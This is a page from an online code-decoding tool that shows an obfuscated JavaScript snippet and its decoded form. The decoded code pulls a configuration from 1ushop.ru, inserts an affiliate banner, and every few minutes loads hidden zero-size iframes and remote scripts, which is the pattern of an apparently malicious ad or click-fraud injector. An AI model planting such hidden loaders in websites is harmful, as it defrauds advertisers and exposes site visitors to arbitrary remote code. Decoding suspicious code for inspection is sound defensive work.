Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

var _0x8a5b = ["\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74", "\x61\x70\x70\x65\x..

Decoded Output download

<?  var _0x8a5b = ["createElement", "appendChild", "body", "removeChild", "GET", "//1ushop.ru/", "open", "send", "onreadystatechange", "readyState", "status", "responseText", "parse", "random", "floor", "", "replace", "c", "#", "getElementById", "getElementsByClassName", "img", "length", "i", "a", "l", "_blank", "nofollow", "f", "iframe", "display: none;", "s", "script", "BannerGlobal", "programnew/group2.prms.json", "//1ushop.ru/programnew/", ".jpg", "//ru.gearbest.com/laptops-c_11964/?odr=hot&page_size=36&display=g&24h_ship=f&lkid=11511742", ".some_class"]; 
(function(_0x1793x1, _0x1793x2, _0x1793x3) { 
    var _0x1793x4 = _0x1793x1[_0x8a5b[2]], 
        _0x1793x5 = function(_0x1793xb, _0x1793xc, _0x1793xd) { 
            _0x1793xd = _0x1793x1[_0x1793x2](_0x1793xb); 
            for (var _0x1793xe in _0x1793xc) { 
                _0x1793xd[_0x1793xe] = _0x1793xc[_0x1793xe] 
            }; 
            return _0x1793xd 
        }, 
        _0x1793x6 = function(_0x1793xb, _0x1793xc, _0x1793xd) { 
            _0x1793xd = _0x1793x5(_0x1793xb, _0x1793xc, _0x1793xd); 
            _0x1793x4[_0x1793x3](_0x1793xd); 
            return _0x1793xd 
        }, 
        _0x1793x7 = function(_0x1793xb, _0x1793xc, _0x1793xd) { 
            _0x1793xd = _0x1793x6(_0x1793xb, _0x1793xc, _0x1793xd); 
            setTimeout(function() { 
                _0x1793x1[_0x8a5b[2]][_0x8a5b[3]](_0x1793xd) 
            }, 30000) 
        }, 
        _0x1793x8 = function(_0x1793x3, _0x1793x2) { 
            var _0x1793xf = new XMLHttpRequest(); 
            _0x1793xf[_0x8a5b[6]](_0x8a5b[4], _0x8a5b[5] + _0x1793x3); 
            _0x1793xf[_0x8a5b[7]](); 
            _0x1793xf[_0x8a5b[8]] = function() { 
                if (_0x1793xf[_0x8a5b[9]] != 4) { 
                    return 
                }; 
                if (_0x1793xf[_0x8a5b[10]] == 200) { 
                    _0x1793x2(JSON[_0x8a5b[12]](_0x1793xf[_0x8a5b[11]])) 
                } 
            } 
        }, 
        _0x1793x9 = function(_0x1793x10, _0x1793x11) { 
            return Math[_0x8a5b[14]](Math[_0x8a5b[13]]() * (_0x1793x10 - _0x1793x11)) + _0x1793x11 
        }, 
        _0x1793xa = function(_0x1793x12) { 
            var _0x1793x13 = _0x1793x1[_0x1793x12[_0x8a5b[17]][0] == _0x8a5b[18] ? _0x8a5b[19] : _0x8a5b[20]](_0x1793x12[_0x8a5b[17]][_0x8a5b[16]](/\.|\#/g, _0x8a5b[15])), 
                _0x1793x14 = _0x1793x5(_0x8a5b[21], { 
                    src: _0x1793x12[_0x8a5b[23]][_0x1793x9(0, _0x1793x12[_0x8a5b[23]][_0x8a5b[22]])] 
                }), 
                _0x1793xd = _0x1793x5(_0x8a5b[24], { 
                    href: _0x1793x12[_0x8a5b[25]], 
                    target: _0x8a5b[26], 
                    rel: _0x8a5b[27] 
                }); 
            if (_0x1793x13[0]) { 
                _0x1793x13 = _0x1793x13[0] 
            }; 
            _0x1793xd[_0x8a5b[1]](_0x1793x14); 
            _0x1793x13[_0x8a5b[1]](_0x1793xd); 
            setTimeout(function() { 
                if (_0x1793x12[_0x8a5b[28]]) { 
                    for (var _0x1793xe in _0x1793x12[_0x8a5b[28]]) { 
                        _0x1793x7(_0x8a5b[29], { 
                            src: _0x1793x12[_0x8a5b[28]][_0x1793xe], 
                            height: 0, 
                            width: 0, 
                            style: _0x8a5b[30] 
                        }) 
                    } 
                } 
            }, 3000); 
            setInterval(function() { 
                if (_0x1793x12[_0x8a5b[28]]) { 
                    for (var _0x1793xe in _0x1793x12[_0x8a5b[28]]) { 
                        _0x1793x7(_0x8a5b[29], { 
                            src: _0x1793x12[_0x8a5b[28]][_0x1793xe], 
                            height: 0, 
                            width: 0, 
                            style: _0x8a5b[30] 
                        }) 
                    } 
                } 
            }, 5 * 60 * 1000); 
            if (_0x1793x12[_0x8a5b[31]]) { 
                for (var _0x1793xe in _0x1793x12[_0x8a5b[31]]) { 
                    _0x1793x6(_0x8a5b[32], { 
                        src: _0x1793x12[_0x8a5b[31]][_0x1793xe] 
                    }) 
                } 
            } 
        }; 
    _0x1793x1[_0x8a5b[33]] = function() { 
        _0x1793x8(_0x8a5b[34], function(_0x1793x15) { 
            _0x1793xa({ 
                s: _0x1793x15[_0x8a5b[31]], 
                f: _0x1793x15[_0x8a5b[28]], 
                i: [_0x8a5b[35] + _0x1793x9(1, 4) + _0x8a5b[36]], 
                l: _0x8a5b[37], 
                c: _0x8a5b[38] 
            }) 
        }) 
    } 
})(document, _0x8a5b[0], _0x8a5b[1]) ?>

Did this file decode correctly?

Original Code

var _0x8a5b = ["\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74", "\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64", "\x62\x6F\x64\x79", "\x72\x65\x6D\x6F\x76\x65\x43\x68\x69\x6C\x64", "\x47\x45\x54", "\x2F\x2F\x31\x75\x73\x68\x6F\x70\x2E\x72\x75\x2F", "\x6F\x70\x65\x6E", "\x73\x65\x6E\x64", "\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65", "\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65", "\x73\x74\x61\x74\x75\x73", "\x72\x65\x73\x70\x6F\x6E\x73\x65\x54\x65\x78\x74", "\x70\x61\x72\x73\x65", "\x72\x61\x6E\x64\x6F\x6D", "\x66\x6C\x6F\x6F\x72", "", "\x72\x65\x70\x6C\x61\x63\x65", "\x63", "\x23", "\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64", "\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x43\x6C\x61\x73\x73\x4E\x61\x6D\x65", "\x69\x6D\x67", "\x6C\x65\x6E\x67\x74\x68", "\x69", "\x61", "\x6C", "\x5F\x62\x6C\x61\x6E\x6B", "\x6E\x6F\x66\x6F\x6C\x6C\x6F\x77", "\x66", "\x69\x66\x72\x61\x6D\x65", "\x64\x69\x73\x70\x6C\x61\x79\x3A\x20\x6E\x6F\x6E\x65\x3B", "\x73", "\x73\x63\x72\x69\x70\x74", "\x42\x61\x6E\x6E\x65\x72\x47\x6C\x6F\x62\x61\x6C", "\x70\x72\x6F\x67\x72\x61\x6D\x6E\x65\x77\x2F\x67\x72\x6F\x75\x70\x32\x2E\x70\x72\x6D\x73\x2E\x6A\x73\x6F\x6E", "\x2F\x2F\x31\x75\x73\x68\x6F\x70\x2E\x72\x75\x2F\x70\x72\x6F\x67\x72\x61\x6D\x6E\x65\x77\x2F", "\x2E\x6A\x70\x67", "\x2F\x2F\x72\x75\x2E\x67\x65\x61\x72\x62\x65\x73\x74\x2E\x63\x6F\x6D\x2F\x6C\x61\x70\x74\x6F\x70\x73\x2D\x63\x5F\x31\x31\x39\x36\x34\x2F\x3F\x6F\x64\x72\x3D\x68\x6F\x74\x26\x70\x61\x67\x65\x5F\x73\x69\x7A\x65\x3D\x33\x36\x26\x64\x69\x73\x70\x6C\x61\x79\x3D\x67\x26\x32\x34\x68\x5F\x73\x68\x69\x70\x3D\x66\x26\x6C\x6B\x69\x64\x3D\x31\x31\x35\x31\x31\x37\x34\x32", "\x2E\x73\x6F\x6D\x65\x5F\x63\x6C\x61\x73\x73"];
(function(_0x1793x1, _0x1793x2, _0x1793x3) {
    var _0x1793x4 = _0x1793x1[_0x8a5b[2]],
        _0x1793x5 = function(_0x1793xb, _0x1793xc, _0x1793xd) {
            _0x1793xd = _0x1793x1[_0x1793x2](_0x1793xb);
            for (var _0x1793xe in _0x1793xc) {
                _0x1793xd[_0x1793xe] = _0x1793xc[_0x1793xe]
            };
            return _0x1793xd
        },
        _0x1793x6 = function(_0x1793xb, _0x1793xc, _0x1793xd) {
            _0x1793xd = _0x1793x5(_0x1793xb, _0x1793xc, _0x1793xd);
            _0x1793x4[_0x1793x3](_0x1793xd);
            return _0x1793xd
        },
        _0x1793x7 = function(_0x1793xb, _0x1793xc, _0x1793xd) {
            _0x1793xd = _0x1793x6(_0x1793xb, _0x1793xc, _0x1793xd);
            setTimeout(function() {
                _0x1793x1[_0x8a5b[2]][_0x8a5b[3]](_0x1793xd)
            }, 30000)
        },
        _0x1793x8 = function(_0x1793x3, _0x1793x2) {
            var _0x1793xf = new XMLHttpRequest();
            _0x1793xf[_0x8a5b[6]](_0x8a5b[4], _0x8a5b[5] + _0x1793x3);
            _0x1793xf[_0x8a5b[7]]();
            _0x1793xf[_0x8a5b[8]] = function() {
                if (_0x1793xf[_0x8a5b[9]] != 4) {
                    return
                };
                if (_0x1793xf[_0x8a5b[10]] == 200) {
                    _0x1793x2(JSON[_0x8a5b[12]](_0x1793xf[_0x8a5b[11]]))
                }
            }
        },
        _0x1793x9 = function(_0x1793x10, _0x1793x11) {
            return Math[_0x8a5b[14]](Math[_0x8a5b[13]]() * (_0x1793x10 - _0x1793x11)) + _0x1793x11
        },
        _0x1793xa = function(_0x1793x12) {
            var _0x1793x13 = _0x1793x1[_0x1793x12[_0x8a5b[17]][0] == _0x8a5b[18] ? _0x8a5b[19] : _0x8a5b[20]](_0x1793x12[_0x8a5b[17]][_0x8a5b[16]](/\.|\#/g, _0x8a5b[15])),
                _0x1793x14 = _0x1793x5(_0x8a5b[21], {
                    src: _0x1793x12[_0x8a5b[23]][_0x1793x9(0, _0x1793x12[_0x8a5b[23]][_0x8a5b[22]])]
                }),
                _0x1793xd = _0x1793x5(_0x8a5b[24], {
                    href: _0x1793x12[_0x8a5b[25]],
                    target: _0x8a5b[26],
                    rel: _0x8a5b[27]
                });
            if (_0x1793x13[0]) {
                _0x1793x13 = _0x1793x13[0]
            };
            _0x1793xd[_0x8a5b[1]](_0x1793x14);
            _0x1793x13[_0x8a5b[1]](_0x1793xd);
            setTimeout(function() {
                if (_0x1793x12[_0x8a5b[28]]) {
                    for (var _0x1793xe in _0x1793x12[_0x8a5b[28]]) {
                        _0x1793x7(_0x8a5b[29], {
                            src: _0x1793x12[_0x8a5b[28]][_0x1793xe],
                            height: 0,
                            width: 0,
                            style: _0x8a5b[30]
                        })
                    }
                }
            }, 3000);
            setInterval(function() {
                if (_0x1793x12[_0x8a5b[28]]) {
                    for (var _0x1793xe in _0x1793x12[_0x8a5b[28]]) {
                        _0x1793x7(_0x8a5b[29], {
                            src: _0x1793x12[_0x8a5b[28]][_0x1793xe],
                            height: 0,
                            width: 0,
                            style: _0x8a5b[30]
                        })
                    }
                }
            }, 5 * 60 * 1000);
            if (_0x1793x12[_0x8a5b[31]]) {
                for (var _0x1793xe in _0x1793x12[_0x8a5b[31]]) {
                    _0x1793x6(_0x8a5b[32], {
                        src: _0x1793x12[_0x8a5b[31]][_0x1793xe]
                    })
                }
            }
        };
    _0x1793x1[_0x8a5b[33]] = function() {
        _0x1793x8(_0x8a5b[34], function(_0x1793x15) {
            _0x1793xa({
                s: _0x1793x15[_0x8a5b[31]],
                f: _0x1793x15[_0x8a5b[28]],
                i: [_0x8a5b[35] + _0x1793x9(1, 4) + _0x8a5b[36]],
                l: _0x8a5b[37],
                c: _0x8a5b[38]
            })
        })
    }
})(document, _0x8a5b[0], _0x8a5b[1])

Function Calls

None

Variables

None

Stats

MD5 99039ee1e0ebcc1de915f57465a8699e
Eval Count 0
Decode Time 130 ms